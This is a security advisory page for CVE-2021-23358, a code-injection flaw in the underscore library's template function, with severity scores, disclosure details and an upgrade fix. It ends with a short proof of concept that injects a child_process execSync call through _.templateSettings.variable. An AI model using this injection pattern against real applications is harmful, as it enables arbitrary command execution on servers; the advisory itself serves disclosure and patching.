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Arbitrary Code Injection Affecting org.webjars.bowergithub.jashkenas:underscore package, versions [0,1.13.1)

0.0
medium

Snyk CVSS

    Attack Complexity High
    Privileges Required High
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.93% (83rd percentile)
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NVD
7.2 high
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Red Hat
7.2 high

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  • Snyk ID SNYK-JAVA-ORGWEBJARSBOWERGITHUBJASHKENAS-1081505
  • published 29 Mar 2021
  • disclosed 2 Mar 2021
  • credit Alessio Della Libera (@d3lla)
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Introduced: 2 Mar 2021

CVE-2021-23358 Open this link in a new tab
CWE-94 Open this link in a new tab

How to fix?

Upgrade org.webjars.bowergithub.jashkenas:underscore to version 1.13.1 or higher.

Overview

org.webjars.bowergithub.jashkenas:underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.

PoC

const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();